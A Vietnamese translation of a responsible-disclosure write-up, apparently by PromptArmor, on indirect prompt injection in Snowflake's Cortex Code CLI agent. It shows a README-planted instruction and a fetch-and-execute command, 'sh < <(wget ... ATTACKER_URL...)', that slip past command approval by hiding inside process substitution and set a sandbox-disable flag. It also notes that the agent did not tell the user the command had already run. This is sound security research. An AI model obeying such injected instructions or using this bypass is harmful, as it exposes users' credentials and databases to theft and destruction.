Snowflake AI thoát khỏi Sandbox và thực thi phần mềm độc hại
Security·Hacker News·2 lượt xem

Snowflake AI thoát khỏi Sandbox và thực thi phần mềm độc hại

Snowflake AI Escapes Sandbox and Executes Malware

AI Summary

Lỗ hổng nghiêm trọng vừa được phát hiện trên Snowflake's Cortex Code CLI, một AI agent có khả năng thực thi SQL. Vấn đề nằm ở khâu kiểm tra command (command validation) bị lỗi, dẫn đến khả năng bị tấn công prompt injection. Kẻ tấn công có thể lợi dụng điều này để vượt qua các biện pháp sandbox và thực thi mã độc tùy ý, có nguy cơ đánh cắp dữ liệu hoặc xóa bảng (dropping tables) bằng chính tài khoản của nạn nhân. Các nhà phát triển cần hết sức cảnh giác với rủi ro prompt injection trong các AI agent, đặc biệt khi xử lý dữ liệu hoặc code từ nguồn không tin cậy. Việc đảm bảo command validation chặt chẽ và sandbox mạnh mẽ là vô cùng quan trọng. Snowflake đã phát hành bản vá (version 1.0.25) để khắc phục lỗ hổng này.

Một lỗ hổng trong Snowflake Cortex Code CLI cho phép cài đặt và thực thi phần mềm độc hại thông qua việc tiêm nhắc gián tiếp, bỏ qua quá trình phê duyệt lệnh của con người trong vòng lặp và thoát khỏi hộp cát.

Cortex Code 'CoCo' performs malicious actions.

Context

Snowflake Cortex Code CLI là một tác nhân mã hóa dòng lệnh hoạt động tương tự như Claude Code và Codex của OpenAI, với sự tích hợp bổ sung tích hợp để chạy SQL trong Snowflake. 

Hai ngày sau khi phát hành, một lỗ hổng đã được xác định trong hệ thống xác thực lệnh của Cortex Code, cho phép các lệnh độc hại được xây dựng đặc biệt thực hiện: 

  • Thực thi các lệnh tùy ý mà không cần kích hoạt các bước phê duyệt của con người trong vòng lặp. 

  • Thực thi các lệnh đó bên ngoài hộp cát của Cortex CLI. 

Chúng tôi chứng minh rằng, thông qua việc tiêm nhắc gián tiếp, kẻ tấn công có thể thao túng Cortex để tải xuống và thực thi các tập lệnh mà không cần sự chấp thuận nhằm lợi dụng thông tin xác thực đang hoạt động của nạn nhân để thực hiện các hành động độc hại trong Snowflake (ví dụ: Lọc dữ liệu, xóa bảng). 

Nhóm bảo mật Snowflake đã làm việc chăm chỉ để xác thực và khắc phục lỗ hổng này và bản sửa lỗi đã được phát hành với Cortex Code CLI phiên bản 1.0.25 vào ngày 28 tháng 2 năm 2026. Lời khuyên đầy đủ của Snowflake có sẵn trên Trang web cộng đồng Snowflake. Khách hàng, đối tác và công chúng nói chung có thể truy cập trang này khi tạo tài khoản Cộng đồng:
https://community.snowflake.com/s/article/PromptArmor-Report---Snowflake-Response 

Chuỗi tấn công

  1. Người dùng mở Cortex và bật hộp cát

    Người dùng khởi động CLI và chọn bật một trong các chế độ hộp cát (chi tiết bên dưới). Cuộc tấn công này không phụ thuộc vào chế độ hộp cát nào được sử dụng.

    Lưu ý: Chuỗi tấn công này cũng áp dụng cho những người dùng không sử dụng hộp cát.

    Người dùng kích hoạt chế độ hộp cát.

    Tài liệu chỉ ra điều đó trong Chế độ OS+Regular, tất cả các lệnh đều nhắc nhở người dùng phê duyệt. Các lệnh chạy trong hộp cát cũng có các hạn chế truy cập mạng và tệp.

    Ở chế độ hộp cát, các lệnh sẽ nhắc người dùng phê duyệt.
  2. Người dùng yêu cầu Cortex trợ giúp về cơ sở mã nguồn mở của bên thứ ba

    Trong chuỗi này, nội dung nhắc nhở được ẩn trong README của kho lưu trữ không đáng tin cậy mà người dùng đã tìm thấy trực tuyến. Tuy nhiên, trong thực tế, nội dung chèn có thể được nhập vào từ bất kỳ dữ liệu không đáng tin cậy nào, chẳng hạn như trong kết quả tìm kiếm trên web, bản ghi cơ sở dữ liệu, đầu ra lệnh đầu cuối hoặc phản hồi MCP.

    Người dùng bắt đầu cuộc trò chuyện với Cortex.

    *Lưu ý: Cortex không hỗ trợ 'sự tin cậy trong không gian làm việc', một quy ước bảo mật lần đầu tiên được thấy trong các trình soạn thảo mã, kể từ khi được hầu hết các CLI tác nhân áp dụng. Hộp thoại tin cậy trong không gian làm việc cảnh báo người dùng về những rủi ro liên quan khi sử dụng tác nhân trong một thư mục mới, có khả năng không đáng tin cậy.

  3. Cortex khám phá kho lưu trữ và gặp phải thao tác chèn nhanh

    Tác nhân con mà Cortex đã gọi để khám phá kho lưu trữ sẽ tìm thấy tệp README. Ở cuối tệp, có một dòng nhắc nhở khiến Cortex tin rằng nó phải chạy một lệnh nguy hiểm.

    Cortex sử dụng lệnh tiêm nhắc.
  4. Con người trong vòng lặp bị bỏ qua

    Cortex không thể xác thực các lệnh bên trong các biểu thức thay thế quy trình, cho phép thực thi lệnh độc hại cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) mà không được phê duyệt. Lệnh tải xuống tập lệnh từ máy chủ của kẻ tấn công và thực thi nó. Đây là cách hoạt động của đường vòng:

    Mọi lệnh shell đều được thực thi mà không cần sự chấp thuận của con người miễn là: 

    (1) các lệnh không an toàn nằm trong biểu thức thay thế quy trình <()

    (2) lệnh đầy đủ bắt đầu bằng lệnh 'safe' (chi tiết bên dưới)

    Biểu thức thay thế quy trình không được xác thực.

    Nền tảng về hệ thống xác thực:

    Hệ thống xác thực lệnh hoạt động bằng cách phân tách một lệnh đầy đủ mà mô hình yêu cầu thành các lệnh riêng lẻ (ví dụ: cat, echo, sh, wget, v.v.).

    Các lệnh riêng lẻ được so sánh với hệ thống lệnh 'safe' được tích hợp trong Cortex.

    Mô hình tin cậy của Cortex phân loại các lệnh theo mức độ rủi ro.

    Khi tất cả các thành phần của lệnh đều 'an toàn', toàn bộ lệnh sẽ thực thi mà không cần phê duyệt; nếu không, người dùng sẽ được nhắc đồng ý.

    Vì các lệnh trong biểu thức thay thế quy trình không được hệ thống này đánh giá nên chúng không bao giờ được con người phê duyệt. Khi kết hợp với một lệnh được thực thi tự động ở mức 'an toàn' trong hệ thống xác thực, lỗ hổng này dẫn đến việc thực thi lệnh tùy ý mà không có sự chấp thuận của người dùng.

  5. Hộp cát bị bỏ qua

    Theo mặc định, Cortex có thể đặt cờ để kích hoạt việc thực thi lệnh không có hộp cát. Nội dung nhắc nhở thao túng mô hình để đặt cờ, cho phép lệnh độc hại thực thi mà không cần hộp cát. Bên dưới, cờ này hiển thị trong nhật ký lệnh do Cortex chạy:

    Subagent đặt cờ Dangerously_disable_sandbox.

    Cờ này nhằm cho phép người dùng phê duyệt thủ công các lệnh hợp pháp yêu cầu quyền truy cập mạng hoặc quyền truy cập vào các tệp bên ngoài hộp cát.

    Với tính năng bỏ qua con người trong vòng lặp từ bước 4, khi tác nhân đặt cờ để yêu cầu thực thi bên ngoài hộp cát, lệnh sẽ ngay lập tức chạy bên ngoài hộp cát và người dùng không bao giờ được nhắc đồng ý.

    Lưu ý: có một cài đặt mà người dùng có thể định cấu hình rõ ràng nếu họ muốn tắt chức năng này. Điều này sẽ ngăn chặn việc bỏ qua.

  6. Phần mềm độc hại được tải xuống và thực thi bên ngoài hộp cát

    Tác nhân phụ của Cortex gọi lệnh độc hại và đặt cờ cho việc thực thi không được đóng hộp cát. Lệnh tải xuống tập lệnh shell từ máy chủ của kẻ tấn công và thực thi nó. Việc bỏ qua ở bước 4 và 5 khiến lệnh thực thi ngay bên ngoài hộp cát mà không cần có sự đồng ý của người dùng.

    Lệnh độc hại được chạy mà không có sự chấp thuận của người dùng.

    Dưới đây, chúng tôi xem xét tác động mà kẻ tấn công có thể đạt được thông qua việc thực thi mã từ xa này.

Tác động

Với việc thực thi mã từ xa trên thiết bị của nạn nhân, kẻ tấn công có thể thực thi mã tùy ý để gây hại cho máy tính của nạn nhân, thậm chí nhắm mục tiêu vào các tệp bên ngoài hộp cát của Cortex. Kẻ tấn công biết nạn nhân đã cài đặt Mã Cortex, khiến kết nối đang hoạt động của nạn nhân với Snowflake trở thành mục tiêu hấp dẫn để khai thác thêm. Bằng cách tận dụng các mã thông báo được lưu trong bộ nhớ đệm mà Cortex sử dụng để xác thực với Snowflake, kẻ tấn công có thể: 

  • Đánh cắp nội dung cơ sở dữ liệu

  • Xóa bảng

  • Thêm người dùng cửa hậu độc hại vào phiên bản Snowflake

  • Khóa người dùng hợp pháp bằng các quy tắc mạng

Ở đây, chúng tôi cho thấy rằng tập lệnh độc hại có thể tìm và sử dụng các mã thông báo được lưu trong bộ nhớ đệm được Cortex lưu trữ một cách đáng tin cậy để thực thi các truy vấn SQL với đặc quyền của người dùng Cortex. Với nạn nhân là nhà phát triển, điều này có thể có nghĩa là quyền truy cập đọc-ghi vào các bảng (lọc và hủy dữ liệu); đối với người dùng có đặc quyền hơn, hậu quả có thể nghiêm trọng hơn. Dưới đây, tập lệnh độc hại do Cortex chạy sẽ lọc ra và sau đó loại bỏ tất cả các bảng trong phiên bản Snowflake.

Phần mềm độc hại đánh cắp cơ sở dữ liệu nạn nhân và đánh cắp các bảng sau đó.

Lưu ý: Snowflake mặc định là và đề xuất xác thực dựa trên trình duyệt, mang lại các phiên trong phạm vi cấp độ truy cập của người dùng. Người dùng có thể hạn chế vai trò mà tác nhân sử dụng khi thực thi SQL, nhưng bản thân chương trình Cortex (và do đó, kẻ tấn công) vẫn có toàn quyền truy cập.

Việc mất ngữ cảnh của tác nhân phụ làm trầm trọng thêm rủi ro

Trong một lần thực hiện cuộc tấn công này, Cortex đã gọi nhiều tác nhân phụ để khám phá kho lưu trữ. Tác nhân phụ đầu tiên gọi tác nhân phụ khác để chạy các lệnh độc hại. Trong quá trình báo cáo từ tác nhân phụ này sang tác nhân phụ khác, bối cảnh đã bị mất.

Điều này dẫn đến tác nhân Cortex chính báo cáo cho người dùng rằng đã tìm thấy một lệnh độc hại và khuyên họ không nên chạy lệnh đó. Cortex không thông báo cho người dùng rằng lệnh đã được thực hiện bởi tác nhân phụ cấp hai!

Cortex không thông báo cho người dùng về việc thực thi lệnh độc hại.

Tiết lộ có trách nhiệm

Lỗ hổng này đã được tiết lộ một cách có trách nhiệm cho Snowflake vào ngày 5 tháng 2, ba ngày sau khi Cortex Code được phát hành. Nhóm Snowflake đã tham gia thảo luận nhanh chóng và phối hợp nghiêm túc trong suốt thời gian còn lại của tháng 2 cho đến khi lỗ hổng bảo mật được xác thực và khắc phục.

Lưu ý rằng vì LLM có tính chất ngẫu nhiên nên trong quá trình thử nghiệm, chúng tôi đã quan sát thấy hiệu quả ~50% cho cuộc tấn công này. Điều này nhấn mạnh tầm quan trọng của việc đào tạo các nhóm bảo mật về các cuộc tấn công không xác định trong hệ thống LLM.

Snowflake đã chỉ ra rằng bản sửa lỗi được tự động áp dụng thông qua bản cập nhật tự động khi khách hàng khởi chạy Cortex lần tiếp theo.

Tư vấn của Snowflake có sẵn để xem xét trong Trang web cộng đồng Snowflake. Khách hàng, đối tác và công chúng nói chung có thể truy cập khi tạo tài khoản Cộng đồng:

https://community.snowflake.com/s/article/PromptArmor-Report---Snowflake-Response

 

Dòng thời gian

Ngày 02 tháng 2 năm 2026 - Mã Cortex của Snowflake là được phát hành 
Ngày 05 tháng 2 năm 2026 - NhắcArmor gửi thông tin tiết lộ có trách nhiệm 
Ngày 06-20 tháng 2 năm 2026 - Snowflake phối hợp với NhắcArmor để cung cấp thêm thông tin chi tiết 
Ngày 12 tháng 2 năm 2026 - Snowflake xác thực lỗ hổng này 
Ngày 28 tháng 2 năm 2026 - Snowflake triển khai bản sửa lỗi với bản phát hành Mã Cortex 1.0.25 
Ngày 16 tháng 3 năm 2026 - Sự phối hợp tiết lộ công khai của NhắcArmor và Bông tuyết

Tác giả: ozgune

#discussion